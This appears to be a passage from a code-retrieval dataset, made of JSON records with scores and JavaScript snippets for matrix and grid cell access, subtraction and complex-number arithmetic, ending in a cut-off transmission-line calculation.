{\r\n return null;\r\n }\r\n if(row > 8) {\r\n return null;\r\n }\r\n return this.values[row][col];\r\n }", "title": "" }, { "docid": "2a73f7c2e4d9d279bfc0cbfcf8be1b5d", "score": "0.5392203", "text": "function getGiven(row, col) {\n return givens[row - 1][col - 1];\n}", "title": "" }, { "docid": "49b0178087f5a6707950f3b396cafb16", "score": "0.5380348", "text": "elem()\n {\n return this.m_column_elem;\n }", "title": "" }, { "docid": "cc78a8606b1a709411fa828985ed6910", "score": "0.5379031", "text": "get value() {\n var _a, _b;\n // will return undefined for a column layout, because getCellByColumnVisibleIndex may return the column layout at that index.\n // getCellByColumnVisibleIndex is deprecated and will be removed in future version\n return this.column.field ?\n this.column.hasNestedPath ? resolveNestedPath((_a = this.row) === null || _a === void 0 ? void 0 : _a.data, this.column.field) : (_b = this.row) === null || _b === void 0 ? void 0 : _b.data[this.column.field]\n : undefined;\n }", "title": "" }, { "docid": "e7d9c2e5b457da18f42c37cc04e93e3f", "score": "0.5376988", "text": "get first() { return this[0]; }", "title": "" }, { "docid": "5b402f66f077179c6e5cc4e1ccc792ad", "score": "0.53694206", "text": "getCell(x, y) {\n let sz = this.size;\n let cellX = x - (x % sz);\n let cellY = y - (y % sz);\n let cellIndex = ((cellY / sz) * this.width) + (cellX / sz);\n\n return this.field[cellIndex];\n }", "title": "" }, { "docid": "39ac8e2e81b17b9061804ba00da85037", "score": "0.5358979", "text": "get rows() {\n return this.matrix.length;\n }", "title": "" }, { "docid": "a323f78871830f9d34ef4da9738d7489", "score": "0.53543216", "text": "function rightOne() {\n col++;\n arr.push(matrix[row][col]);\n }", "title": "" }, { "docid": "1c38eabd450817382f85f43e660bc787", "score": "0.5354108", "text": "function getMatrix() {\n matrix.copy(objects[0].matrix);\n var i;\n for(i=1; i<objects.length; i++) {\n matrix.multiply(objects[i].matrix);\n }\n return matrix;\n }", "title": "" }, { "docid": "2b732504717a508261826f240202a6f6", "score": "0.53369296", "text": "function get_row(row) {\n return vector_to_list(matrix[row]);\n}", "title": "" }, { "docid": "2b732504717a508261826f240202a6f6", "score": "0.53369296", "text": "function get_row(row) {\n return vector_to_list(matrix[row]);\n}", "title": "" }, { "docid": "2b732504717a508261826f240202a6f6", "score": "0.53369296", "text": "function get_row(row) {\n return vector_to_list(matrix[row]);\n}", "title": "" }, { "docid": "e153746704b7dfbb86b374a55d1addf6", "score": "0.53327376", "text": "at(x, y)\r\n {\r\n return this.cells[this.coordsToIndex(x,y)];\r\n }", "title": "" }, { "docid": "272dedaf883d5bb4d7bbede6221775c9", "score": "0.53301567", "text": "at(row, column) {\n return this.coffs[Matrix3d.flatIndexOf(row, column)];\n }", "title": "" }, { "docid": "5cc92992eac6cfe0e5bf80c79447988d", "score": "0.5314823", "text": "GetMatrix() {}", "title": "" }, { "docid": "c8cda2cfe34b56ca63fb9c7aa4c7427a", "score": "0.5312121", "text": "getObject(row, column) {\n if (!this.exists(row, column)) {\n return null;\n }\n return layers[0][row][column];\n }", "title": "" }, { "docid": "70207cbfcfc72f940fd4154003841942", "score": "0.5307802", "text": "get row() {\n return this.grid.createRow(this.intRow.index);\n }", "title": "" }, { "docid": "22865c2e124bf989a9c73b51360cffce", "score": "0.529954", "text": "getCurrentCell() {\r\n return [Math.floor(this.x / 30), Math.floor(this.y / 30)]\r\n }", "title": "" }, { "docid": "98b5abbe9862fb77824646bd33028af8", "score": "0.527673", "text": "get cellID() {\n const primaryKey = this.grid.primaryKey;\n const rowID = primaryKey ? this.rowData[primaryKey] : this.rowData;\n return { rowID, columnID: this.columnIndex, rowIndex: this.rowIndex };\n }", "title": "" }, { "docid": "fb9a97dc33bec57e1b857f168554c330", "score": "0.5265834", "text": "getCell(row,col) {\n\n if(!this.board[row]){\n return 0;\n }\n if(!this.board[row][col]) {\n return 0;\n }\n return this.board[row][col];\n\n\n }", "title": "" }, { "docid": "d30251ddb4c181450ffb245dc7cbd6f4", "score": "0.52613163", "text": "row(rowNum)\n\t{\n\t\tif (rowNum != null && rowNum >= 0 && rowNum < 3)\n\t\t{\n\t\t\treturn new ThreeVector(this._data[rowNum][0],this._data[rowNum][1],this._data[rowNum][2]);\n\t\t}\n\t\telse\n\t\t\treturn null;\n\t}", "title": "" }, { "docid": "af9dc884c418b7f3dc14a782ac9f05f8", "score": "0.52569115", "text": "getCell(x, y) {\n if (!this.valid(x, y))\n throw new Error(\"Célula inexistente.\");\n return this._cell[this.index(x, y)];\n }", "title": "" }, { "docid": "6b686bbb8a087f708f517ec289944487", "score": "0.52401245", "text": "get(r, c) {\n return this.v[r][c];\n }", "title": "" }, { "docid": "4866777e36ba9e0614d43378dd0b7925", "score": "0.5201802", "text": "get col() {\n return this.request(`${this.prefix}get_position`, []).then(position => position[1]);\n }", "title": "" }, { "docid": "0db69e8c1e6e942026110d03f576caa1", "score": "0.5200027", "text": "getCol(col) {\n return this.values.map(row => row[col]);\n }", "title": "" }, { "docid": "6b3838e11e7f16cdbda59fe045d35b7a", "score": "0.5195527", "text": "get row() {\n return this._h;\n }", "title": "" }, { "docid": "83ea7d2bfbb66d296be55f3b52e142df", "score": "0.5192505", "text": "get r() { return this[0]; }", "title": "" }, { "docid": "cf2b8fb5731065c261e30b889efaa8d4", "score": "0.5187747", "text": "get x() {\n return this._vec[0];\n }", "title": "" }, { "docid": "1b20ae545ca86dc2fa8e3854493b7a58", "score": "0.51857495", "text": "getCell (neededCell) {\n return this.boardCells[neededCell]\n }", "title": "" }, { "docid": "21a42ef71cc9d94c31894619a7afed89", "score": "0.51820356", "text": "get x() {\r\n return this.values[0];\r\n }", "title": "" }, { "docid": "d54df5d87803579fd7107d9942dbd5df", "score": "0.5173174", "text": "function getStr1(idx) { return table.row(idx).data()[gDataColumnIndex[\"Structure_1\"]]; }", "title": "" }, { "docid": "583a0c08d81b181ee1bba89844ec5d5c", "score": "0.51705223", "text": "function get(point, map) {\r\n return map[point.row] && map[point.row][point.column];\r\n}", "title": "" }, { "docid": "08f031216e7ead0277b1c969e1d959dd", "score": "0.5168429", "text": "m00() {\n return this.entries[0];\n }", "title": "" }, { "docid": "894f2055c99f12582eb77d601e80c755", "score": "0.51674145", "text": "m01() {\n return this.entries[3];\n }", "title": "" }, { "docid": "4c565e9da8e1c658dae321ee63341fdb", "score": "0.51647407", "text": "function getGridCell(grid, row, col)\n{\n // IGNORE IF IT'S OUTSIDE THE GRID\n if (!isValidCell(row, col))\n {\n return -1;\n }\n var index = (row * gridWidth) + col;\n return grid[index];\n}", "title": "" }, { "docid": "ee3d44b8e39bedbe3d34369beb93f6f9", "score": "0.51604855", "text": "function getMatrixPosition(index, rows, cols) {\n return {\n row: Math.floor(index / cols),\n col: index % cols\n };\n}", "title": "" }, { "docid": "4150701925fc8532ea238780b2284b7a", "score": "0.51592296", "text": "function getCellIndexFromRC(row, col){\n\treturn row*numCols+col;\n}", "title": "" }, { "docid": "07a50d1a9a6ba1e3ba32dab8b5527cb8", "score": "0.5158667", "text": "xy2rowXcol(canvasX /*: number */, canvasY /*: number */) /*: ?{row: number, col: number} */ {\n const mult = new THREE.Vector2(canvasX, canvasY).applyMatrix3(new THREE.Matrix3().getInverse(this.transform));\n const x = this.multtable.index(mult.x);\n const y = this.multtable.index(mult.y);\n return (x == undefined || y == undefined) ? null : {col: x, row: y};\n }", "title": "" }, { "docid": "78c79b974f9b5e7446b4a98e922e1a1b", "score": "0.5153964", "text": "function getValue(x, y) {\r\n if(!inGrid(x, y))\r\n // return empty if outside grid\r\n return 0;\r\n\r\n var cell = grid[y][x];\r\n return cell.value;\r\n}", "title": "" }, { "docid": "e4a7108aee5997d80670e238b5beb2db", "score": "0.51507556", "text": "function getCol(y){\n return y / dim;\n}", "title": "" }, { "docid": "2ce586edbf9fadf55e3eb24f55292fa0", "score": "0.5146187", "text": "function first() {\n return this[0];\n}", "title": "" }, { "docid": "97739b15bf314dc158ea0a7ab38dd138", "score": "0.51395327", "text": "getX() {\n return this.row * 83 - 20;\n }", "title": "" }, { "docid": "84225ba2176d1e708caa4b4df811cca2", "score": "0.51352996", "text": "get row() {\r\n return this._row;\r\n }", "title": "" }, { "docid": "8f98d8e12628ddd52c4717a9e3cd67be", "score": "0.5134849", "text": "function getGridCell(grid, row, col)\n{\n // IGNORE IF IT'S OUTSIDE THE GRID\n if (!isValidCell(row, col))\n {\n return -1;\n }\n var index = (row * gridWidth) + col;\n return grid[index];\n}", "title": "" }, { "docid": "bb553e94fb09cb9b68ce082aeed7abca", "score": "0.5130114", "text": "async one() {\n return (await this.toArray())[0]\n }", "title": "" }, { "docid": "a9bd0b005411384eabc22a1df918c48e", "score": "0.5121185", "text": "function matrix() {\n return Matrix.fromArray(arguments);\n }", "title": "" }, { "docid": "fd651bce0b5a9f5b005ff02617249f6a", "score": "0.5119869", "text": "get cell() { // for readability inside this class only\n return this;\n }", "title": "" }, { "docid": "6a11dcdba5ee2df1a4d2d23ead0761a6", "score": "0.5114434", "text": "getValue() {\n const value = this._analyser.getValue();\n return value[0];\n }", "title": "" }, { "docid": "8826d7b684cf9d56517bdd87868c3c85", "score": "0.510707", "text": "function get(square){\n return {...this.board[square.row][square.col]};\n }", "title": "" }, { "docid": "211e0596c93afea0a3ff284419c5f45e", "score": "0.5095931", "text": "trace() {\r\n\t\tif(this.m === this.n) {\r\n\t\t\tlet total = this.getItem(1, 1);\r\n\t\t\tfor(let i = 2; i <= this.m; i++) { \r\n\t\t\t\ttotal += this.getItem(i, i);\r\n\t\t\t}\r\n\t\t\treturn total;\r\n\t\t} else {\r\n\t\t\tthrow \"Matrix must be a square matrix\";\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "ec99d1284644b41343f8542f386f458d", "score": "0.5095042", "text": "get row() {\n return this._row || this.grid.createRow(this._rowIndex);\n }", "title": "" }, { "docid": "ad638c7d8fc56d448e4537de16fb389b", "score": "0.50926954", "text": "function index([row, col]) {\n return row * width + col;\n }", "title": "" }, { "docid": "a1938d07da25697bb2619d5a232d0f55", "score": "0.5092469", "text": "function matrix_index(index, num_columns){\r\n\t\treturn {\"row\": Math.floor(index / num_columns), \"column\": index % num_columns};\r\n\t}", "title": "" }, { "docid": "fa24c889df1438c12b1f284131384154", "score": "0.50865716", "text": "get gridID() {\n return this.intRow.gridID;\n }", "title": "" }, { "docid": "d081dac6937346a0bf2729cf27805240", "score": "0.50751746", "text": "at(x, y) {\n return this.coordinateIsValid(x, y) && this.values[x][y]\n }", "title": "" }, { "docid": "2aece54614d8bbcd882c407d9ebfa16e", "score": "0.507395", "text": "get row() {\n return this._row;\n }", "title": "" }, { "docid": "2e28c4d3f02307aadb06a63bf41a169a", "score": "0.50674456", "text": "function findBasisVariable(tab, col) {\n var i, xi=-1;\n for(i=1; i < tab.rows; i++) {\n\n if (tab.matrix[i][col] == 1) {\n\n if (xi == -1){\n xi=i; // found first '1', save this row number.\n }else{\n return -1; // found second '1', not an identity matrix.\n }\n } else if (tab.matrix[i][col] != 0) {\n return -1; // not an identity matrix column.\n }\n }\n return xi;\n}", "title": "" }, { "docid": "aaf7133d7a0267d9db6e38dc14b14848", "score": "0.50496113", "text": "getValue() {\n const value = this._analyser.getValue();\n\n return value[0];\n }", "title": "" }, { "docid": "cfdef50dfd959ec2f8d9c919f5565bf6", "score": "0.5036352", "text": "get col() {\r\n return this._col;\r\n }", "title": "" }, { "docid": "bf5f83df85602c18accf223b92551294", "score": "0.5023683", "text": "getCells() {\n return this.buffer[this.currentBufferIndex];\n }", "title": "" }, { "docid": "eabe66aea372f0e0eecf92a6e32bfd14", "score": "0.501805", "text": "function getCell(grid, row, col) {\n let empty = null;\n if (row < 0 || col < 0) {\n return empty;\n } else if (row >= grid.length) {\n return empty;\n } else if (col >= grid[row].length) {\n return empty;\n } else {\n return grid[row][col]\n }\n}", "title": "" }, { "docid": "fd16a8579bbae31033f70d67b1955f0a", "score": "0.50074184", "text": "GetMaterial(x, y) {\n /// return *const_cast<Fracker*>(this).GetMaterialStorage(x, y);\n return this.m_material[Fracker.TileToArrayOffset(x, y)];\n }", "title": "" }, { "docid": "ac6dc980d06be17d87b24790a3df1de8", "score": "0.5007022", "text": "cellState(i,j){\n if(this.state.gridInfo){\n return this.state.gridInfo.getValue({i,j}); \n }\n return \"NaN\" ;\n }", "title": "" }, { "docid": "aed749037bc0f50d6d0772e78c8fe5b4", "score": "0.50029516", "text": "function set$1(row, column, value, matrix) {\r\n var nextMatrix = __spread(matrix);\r\n // Synchronize first row length\r\n var firstRow = matrix[0];\r\n var nextFirstRow = firstRow ? __spread(firstRow) : [];\r\n if (nextFirstRow.length - 1 < column) {\r\n nextFirstRow[column] = undefined;\r\n nextMatrix[0] = nextFirstRow;\r\n }\r\n var nextRow = matrix[row] ? __spread(matrix[row]) : [];\r\n nextRow[column] = value;\r\n nextMatrix[row] = nextRow;\r\n return nextMatrix;\r\n}", "title": "" } ]
50e3fd5019ceb51af0224fdde24a196f
Subtracts 2 complex numbers
[ { "docid": "a77e773ea2e786ebaff7096defd28231", "score": "0.66921914", "text": "function sCC(num1, num2)\n{\n\treturn new ComplexNumber(num1.real - num2.real, num1.img - num2.img);\n}", "title": "" } ]
[ { "docid": "7654799622fc2889df9db09c985569b6", "score": "0.70480686", "text": "sub (b) {\n\t\t\treturn Complex.C (this.x - b.x, this.y - b.y);\n\t\t}", "title": "" }, { "docid": "ebf0cb52b611ae23c42994216a394ca6", "score": "0.6331376", "text": "function subtract(a,b) {\n\treturn a - b\n}", "title": "" }, { "docid": "5f1baa1bd09bb633ee1a58773a9e0f43", "score": "0.6294043", "text": "static subtract(v1,v2) {\r\n try {\r\n if (!(v1 instanceof Vector) || !(v2 instanceof Vector))\r\n throw \"Vector.subtract: non-vector parameter\";\r\n else {\r\n var v = new Vector(v1.x-v2.x,v1.y-v2.y,v1.z-v2.z);\r\n //v.toConsole(\"Vector.subtract: \");\r\n return(v);\r\n }\r\n } // end try\r\n\r\n catch(e) {\r\n console.log(e);\r\n return(new Vector(NaN,NaN,NaN));\r\n }\r\n }", "title": "" }, { "docid": "215a3f912577dad263cf532d43bb9998", "score": "0.6283316", "text": "plus(b) {\n let a = this;\n let real = a.re + b.re;\n let imag = a.im + b.im;\n return new Complex(real, imag);\n }", "title": "" }, { "docid": "fde8d079e059b8891d34b1627746fc26", "score": "0.62826717", "text": "static subtract(v1,v2) {\n try {\n if (!(v1 instanceof Vector) || !(v2 instanceof Vector))\n throw \"Vector.subtract: non-vector parameter\";\n else {\n var v = new Vector(v1.x-v2.x,v1.y-v2.y,v1.z-v2.z);\n //v.toConsole(\"Vector.subtract: \");\n return(v);\n }\n } // end try\n \n catch(e) {\n console.log(e);\n return(new Vector(NaN,NaN,NaN));\n }\n }", "title": "" }, { "docid": "854bef3b914fc1965a1e728145f3033b", "score": "0.6248493", "text": "function c_pow(a_real, a_imag, b_real, b_imag) {\n let len, phase, real, imag;\n\n if (b_real === 0.0 && b_imag === 0.0) {\n real = 1.0;\n imag = 0.0;\n } else if (a_real === 0.0 && a_imag === 0.0) {\n if (b_imag !== 0.0 || b_real < 0.0) {\n throw new Sk.builtin.ZeroDivisionError(\"complex division by zero\");\n }\n\n real = 0.0;\n imag = 0.0;\n } else {\n const vabs = Math.hypot(a_real, a_imag);\n len = Math.pow(vabs, b_real);\n const at = Math.atan2(a_imag, a_real);\n phase = at * b_real;\n\n if (b_imag !== 0.0) {\n len /= Math.exp(at * b_imag);\n phase += b_imag * Math.log(vabs);\n }\n\n real = len * Math.cos(phase);\n imag = len * Math.sin(phase);\n }\n return new Sk.builtin.complex(real, imag);\n}", "title": "" }, { "docid": "994514bbabeb07bf888f8a65bc6e6079", "score": "0.6202232", "text": "static subtract(a, b) {\n let result = new Matrix(a.rows, a.cols);\n for (let i = 0; i < result.rows; i++) {\n for (let j = 0; j < result.cols; j++) {\n result.data[i][j] = a.data[i][j] - b.data[i][j];\n }\n }\n return result;\n }", "title": "" }, { "docid": "cbd86f7e6be90630c433ae85b1711e3d", "score": "0.6184982", "text": "function subtract(a,b){\n return a - b\n}", "title": "" }, { "docid": "09d0e1f7cbc7407454e635bc8cbb0cd9", "score": "0.6174516", "text": "function subtract(a, b) {\n return a - b;\n}", "title": "" }, { "docid": "c1e76da4aff1113134561115ba9f773f", "score": "0.61474293", "text": "function subtract(a,b) {\n return a-b;\n}", "title": "" }, { "docid": "68551a8014342b1c23a1cf1bf9128fff", "score": "0.6146584", "text": "function mCC(num1, num2)\n{\n\tvar c = new ComplexNumber(0, 0);\n\t\n\tvar t1 = num1.real * num2.real;//real\n\tvar t2 = num1.real * num2.img;//imaginary\n\tvar t3 = num1.img * num2.real;//imaginary\n\tvar t4 = num1.img * num2.img;//real\n\t\n\tc.real = t1 + (-1 * t4);\n\tc.img = t2 + t3;\n\t\n\treturn c;\n}", "title": "" }, { "docid": "9e2d2b0c6944645a0b6ce8ffee812352", "score": "0.6131587", "text": "function subtract(a, b) {\n return null;\n}", "title": "" }, { "docid": "3b143f64b6903574ef8428d2625d8bd3", "score": "0.61276704", "text": "function subtract(a, b) {\n return a - b;\n}", "title": "" }, { "docid": "7cd0b4d0b1fe3c2d87dbd79e12aeb1fc", "score": "0.6112705", "text": "function subtract(a, b){\n return a - b;\n}", "title": "" }, { "docid": "b3e6bde4dddede5f00c812d106a5def2", "score": "0.6028378", "text": "function ml_z_sub(z1, z2) {\n return ml_z_normalize(bigInt(z1).subtract(bigInt(z2)));\n}", "title": "" }, { "docid": "9eb81113ffd61e6e3cf2c383b4c5efc8", "score": "0.5976764", "text": "function subtract(a, b) {\n int1 = a - b;\n return int1;\n}", "title": "" }, { "docid": "5e90ef8045af02467d96112b3fdd95cd", "score": "0.5967966", "text": "sub(a, b) {\r\n this.data[0] = a.data[0] - b.data[0];\r\n this.data[1] = a.data[1] - b.data[1];\r\n this.data[2] = a.data[2] - b.data[2];\r\n this.data[3] = a.data[3] - b.data[3];\r\n this.data[4] = a.data[4] - b.data[4];\r\n this.data[5] = a.data[5] - b.data[5];\r\n this.data[6] = a.data[6] - b.data[6];\r\n this.data[7] = a.data[7] - b.data[7];\r\n this.data[8] = a.data[8] - b.data[8];\r\n this.data[9] = a.data[9] - b.data[9];\r\n }", "title": "" }, { "docid": "c6a19ee077e3217b2a895c9e26f75724", "score": "0.59657234", "text": "function substract(a, b) {\n\treturn a - b;\n}", "title": "" }, { "docid": "89c969d32c0dde75deebcf7a5cc1d8f5", "score": "0.59289724", "text": "static subtract(a, b) {\n return Matrix.map(new Matrix(a.rows, a.cols), (_, i, j) => a.data[i][j] - b.data[i][j]);\n }", "title": "" }, { "docid": "46d622f31fda2bf0fb50b446654d467b", "score": "0.5921727", "text": "compareComplexNumbers(left, right) {\n if ((left instanceof this.complexConstructor === false) || (right instanceof this.complexConstructor === false)) {\n // if at least one of the numbers is not an JQX.Utilities.Complex object, the numbers are different\n return -1;\n }\n\n const leftReal = left.realPart,\n rightReal = right.realPart;\n\n if (leftReal < rightReal) {\n return -1;\n }\n else if (leftReal > rightReal) {\n return 1;\n }\n else {\n const leftImaginary = left.imaginaryPart,\n rightImaginary = right.imaginaryPart;\n\n if (leftImaginary < rightImaginary) {\n return -1;\n }\n else if (leftImaginary > rightImaginary) {\n return 1;\n }\n else {\n return 0;\n }\n }\n }", "title": "" }, { "docid": "cea99047869bdd69f0e6230f2070e4af", "score": "0.59174854", "text": "function subtract (num1, num2) {\n return num1 - num2;\n}", "title": "" }, { "docid": "c0ab76ec61bab3ef58a79a761c7157c5", "score": "0.590042", "text": "function Subtract(tal1,tal2){\n let differens = tal1-tal2\n return differens\n}", "title": "" }, { "docid": "2a0462d3c3d1da4ab2cc0485a1ef0bdd", "score": "0.58852977", "text": "function subtraction(a, b){\n return (a - b);\n}", "title": "" }, { "docid": "f5b172e68ecaa09dccdf5de43f33f641", "score": "0.58842576", "text": "function aCC(num1, num2)\n{\n\treturn new ComplexNumber(num1.real + num2.real, num1.img + num2.img);\n}", "title": "" }, { "docid": "0220ba902d8515d5256eeb1dfc9a08e9", "score": "0.58734393", "text": "complex(x,y=0) {\n\t\treturn (y === 0 && this.isArbitrary(x)) ? y = 0n : { re: x, im: y };\n\t}", "title": "" }, { "docid": "6c63f94deba080c040efe48cd7ec4b35", "score": "0.5856893", "text": "function substract(a,b)\n{\n return a - b;\n}", "title": "" }, { "docid": "225792a9be11a8a80a98c21722024bc8", "score": "0.58421326", "text": "static setSubtractV3(xyz, xyzb) {\nvar xb, yb, zb;\n//-------------\n[xb, yb, zb] = xyzb;\nxyz[0] -= xb;\nxyz[1] -= yb;\nxyz[2] -= zb;\nreturn xyz;\n}", "title": "" }, { "docid": "db69990938c15ae767843b9d4e741ef7", "score": "0.58410597", "text": "function minus(A, B) {\n try {\n if (A.dimension === 3 && B.dimension === 3) {\n return Mat3(Vec3(A.col1.x - B.col1.x, A.col1.y - B.col1.y, A.col1.z - B.col1.z),\n Vec3(A.col2.x - B.col2.x, A.col2.y - B.col2.y, A.col2.z - B.col2.z),\n Vec3(A.col3.x - B.col3.x, A.col3.y - B.col3.y, A.col3.z - B.col3.z))\n } else {\n return Mat4(Vec4(A.col1.x - B.col1.x, A.col1.y - B.col1.y, A.col1.z - B.col1.z, A.col1.w - B.col1.w),\n Vec4(A.col2.x - B.col2.x, A.col2.y - B.col2.y, A.col2.z - B.col2.z, A.col2.w - B.col2.w),\n Vec4(A.col3.x - B.col3.x, A.col3.y - B.col3.y, A.col3.z - B.col3.z, A.col3.w - B.col3.w),\n Vec4(A.col4.x - B.col4.x, A.col4.y - B.col4.y, A.col4.z - B.col4.z, A.col4.w - B.col4.w))\n }\n } catch (err) {\n return null\n }\n }", "title": "" }, { "docid": "1b36b8784992c988bf8f9414e8beb3c7", "score": "0.5839498", "text": "function subtract (x,y){\n return x-y;\n}", "title": "" }, { "docid": "5962dad2276f0298a63931290d2813e1", "score": "0.58329326", "text": "function subtract(num1, num2) {\n return num1 - num2;\n}", "title": "" }, { "docid": "5962dad2276f0298a63931290d2813e1", "score": "0.58329326", "text": "function subtract(num1, num2) {\n return num1 - num2;\n}", "title": "" }, { "docid": "02bb350894978e5b1f512b46901c823b", "score": "0.58294237", "text": "static subtractV3(xyza, xyzb) {\nreturn this.setSubtractV3(this.copyOfV3(xyza), xyzb);\n}", "title": "" }, { "docid": "4a7e995d5d8727b417165540eb2b313f", "score": "0.5805565", "text": "function complexCalc (x, y){\n\tvar result= 0; //create the var result as 0 to be the biginning of the result (will be replaced later by calcs )\n\tresult= x * y\n\tresult= result/ (x-y); \n\tresult= result * y - x; \n\treturn result ; //return the cal result to alert function \n}", "title": "" }, { "docid": "4a131657a0fa3c51a57bd625219979ef", "score": "0.5803176", "text": "function subtract( x, y ) {\n return ( ( +x ) - ( +y ) );\n}", "title": "" }, { "docid": "f69934c45d154236803c37c889ae6d45", "score": "0.5776072", "text": "function subtraction(num1, num2) {\r\n return num1 - num2;\r\n}", "title": "" }, { "docid": "521329653ba1609443e3aebba81cf1b5", "score": "0.57683855", "text": "function subtract(n1, n2) {\n return n1 - n2;\n }", "title": "" }, { "docid": "34db7c590d70e27800d450c4c746ff26", "score": "0.57634413", "text": "function subtract (x, y) {\n var answer = x - y\n return answer\n}", "title": "" }, { "docid": "b40789cd1932744aa75c24d69a33130f", "score": "0.5758325", "text": "function subtract(x,y) {\n return x - y;\n}", "title": "" }, { "docid": "2c50e2b159988f4ac462402db9825dfd", "score": "0.5747492", "text": "function substract(num1, num2) {\n return num1 - num2;\n}", "title": "" }, { "docid": "c3e12eaedc6733dbb8695f0a336b1801", "score": "0.57458836", "text": "function subtract(p1, p2) {\n console.log(\"sub = \" + (p1 - p2));\n}", "title": "" }, { "docid": "3057b4fd25a27e477442cd4090824159", "score": "0.57213444", "text": "function subtract(x,y) {\n return x - y;\n}", "title": "" }, { "docid": "3057b4fd25a27e477442cd4090824159", "score": "0.57213444", "text": "function subtract(x,y) {\n return x - y;\n}", "title": "" }, { "docid": "8364d78903c084a966399bc94dfe0063", "score": "0.57201636", "text": "subtract() {\n return CSG.moduleOp('manifold.subtract', 'difference', ...arguments);\n }", "title": "" }, { "docid": "f84f2611fee79c722d182fc953d84664", "score": "0.57138413", "text": "function minus(p1, p2) {\n\treturn [p1[0]-p2[0], p1[1]-p2[1], p1[2]-p2[2], p1[3]];\n}", "title": "" }, { "docid": "fe600ce0e486af612ceb3331f873f030", "score": "0.57120967", "text": "function mRC(real, complex)\n{\n\treturn new ComplexNumber(complex.real * real, complex.img * real);\n}", "title": "" }, { "docid": "6fd6b7a17cc1b78a203dfd7146297148", "score": "0.57116634", "text": "function subtract(x,y){\n return x-y;\n}", "title": "" }, { "docid": "d1d9041305c40040c624ee1077e26148", "score": "0.5681318", "text": "subtractEq(RHO)\n\t{\n\t\tthis._w -= RHO._w;\n\t\tthis._x -= RHO._x;\n\t\tthis._y -= RHO._y;\n\t\tthis._z -= RHO._z;\n\t}", "title": "" }, { "docid": "1883907758e8268a3d1ee40d73cf04e8", "score": "0.56735986", "text": "function ComplexNumber2(real, im) {\n this.real = real;\n this.im = im;\n this.print = () => {\n console.log(`${this.real}+${this.im}i`);\n }\n //The add method destructures the real and imaginary component from the passed complex number object into variables real and\n //im. Then the destructured variables are simply added to the real and imaginary compoenents of the complex number the\n //method was called on.\n this.add = (complexTwo) => {\n let {real, im} = complexTwo;\n let newReal = this.real + real;\n let newIm = this.im + im;\n return new ComplexNumber2(newReal, newIm);\n }\n //Subtract works the same way as add but simply subtracts the destructured variables instad of adding them to the real and\n //imaginary components of the the complex number the method was called on.\n this.subtract = (complexTwo) => {\n let {real, im} = complexTwo;\n let newReal = this.real - real;\n let newIm = this.im - im;\n return new ComplexNumber2(newReal, newIm);\n }\n //Divide works by multiplying the numerator and the denominator (the object and the argument respectively) by the complex\n //conjugate of the denominator. This removes the imaginary part from the denominator and allows the complex number to be\n //written in the format \"{real}+{im}i\".\n this.divide = (complexTwo) => {\n let {real, im} = complexTwo;\n let denominator = Math.pow(real, 2) + Math.pow(im, 2);\n let currentReal = this.real;\n let currentIm = this.im;\n let newReal = ((currentReal * real) + (currentIm * im)) / denominator;\n let newIm = ((currentReal * im) - (currentIm * real)) / denominator;\n return new ComplexNumber2(newReal, newIm);\n }\n //Multiply works by implementing FOIL multiplication of the real and imaginary components. Ex. (3+2i)(1+4i) = 3*1 + 3*4i +\n //2i*1 + 2i*4i = (3-8) + (12 + 2)i = -5 + 14i.\n this.multiply = (complexTwo) => {\n let {real, im} = complexTwo;\n let currentReal = this.real;\n let currentIm = this.im;\n let newReal = (currentReal * real) - (currentIm * im);\n let newIm = (currentReal * im) + (currentIm * real);\n return new ComplexNumber2(newReal, newIm);\n }\n}", "title": "" }, { "docid": "c92655d08436cd3eef264a86d4316809", "score": "0.5672364", "text": "function subtraction(num1, num2){\n return -1;\n }", "title": "" }, { "docid": "9d7ef9e2930f3a6628a88026b6eab891", "score": "0.5657403", "text": "function subtraction(p1, p2) {\n return p1 - p2;\n}", "title": "" }, { "docid": "b56d83c51d78b771b3f69f2779510f07", "score": "0.56508595", "text": "function subtract(number1, number2) {\r\n var sum = number1 - number2;\r\n console.log(sum);\r\n}", "title": "" }, { "docid": "2f1d7906c144ef666bdda61d5a8e6dad", "score": "0.5613869", "text": "function toSubtraction(num1, num2){\n let difference = num1 - num2\n output(difference)\n}", "title": "" }, { "docid": "f9c37250fc87b1c7eacabd1b8542438c", "score": "0.55912", "text": "function calculate(){\r\n let str\r\n let y=math.complex(0,1/Xc);\r\n let z = math.complex(R*l,Xl);\r\n \r\n\r\n let drop=document.getElementById('drop')\r\n if(drop.value===\"short\"){\r\n console.log(\"Short\");\r\n str=\"Short\"\r\n abcdParams(\"S\",z)\r\n\r\n }else if(drop.value===\"nominalpi\"){\r\n console.log(\"Nominal-Pi\");\r\n str=\"Nominal-Pi\"\r\n abcdParams(\"N\",z,y)\r\n \r\n }else if(drop.value===\"long\"){\r\n console.log(\"Long\");\r\n str=\"Long\"\r\n abcdParams(\"L\",z,y)\r\n }\r\n\r\n if(pfr<0){\r\n pfr=math.abs(pfr)\r\n Ir= math.complex({r:receivingCurr(Pr,pfr,V),phi:-math.acos(pfr)});\r\n sign =1;\r\n }\r\n else{\r\n pfr=math.abs(pfr)\r\n Ir= math.complex({r:receivingCurr(Pr,pfr,V),phi:math.acos(pfr)});\r\n sign =-1;\r\n }\r\n\r\n let a =math.multiply(A,parseFloat(V)/math.sqrt(3))\r\n let b= math.multiply(B,Ir)\r\n let c=math.multiply(C,parseFloat(V)/math.sqrt(3))\r\n let d =math.multiply(D,Ir)\r\n\r\n Vs=math.add(a,b);\r\n Is=math.add(c,d);\r\n\r\n let Vr=VR(parseFloat(V)/math.sqrt(3))\r\n let eff=effc(Pr,Vs,Is)\r\n let comp\r\n let Cs=[]\r\n let Cr=[]\r\n let Vp=parseFloat(V)/math.sqrt(3)\r\n \r\n if(drop.value===\"short\"){\r\n Cs.push((math.abs(D)*Math.pow(math.abs(Vs),2)*math.cos(math.atan(B.im/B.re)))/math.abs(B))\r\n Cs.push((math.abs(D)*Math.pow(math.abs(Vs),2)*math.sin(math.atan(B.im/B.re)))/math.abs(B))\r\n Cr.push((math.abs(A)*Math.pow(Vp,2)*math.cos(math.atan(B.im/B.re)))/math.abs(B))\r\n Cr.push((math.abs(A)*Math.pow(Vp,2)*math.sin(math.atan(B.im/B.re)))/math.abs(B))\r\n }\r\n else{\r\n Cs.push((math.abs(D)*Math.pow(math.abs(Vs),2)*math.cos(math.atan(B.im/B.re)-math.atan(D.im/D.re)))/math.abs(B))\r\n Cs.push((math.abs(D)*Math.pow(math.abs(Vs),2)*math.sin(math.atan(B.im/B.re)-math.atan(D.im/D.re)))/math.abs(B))\r\n 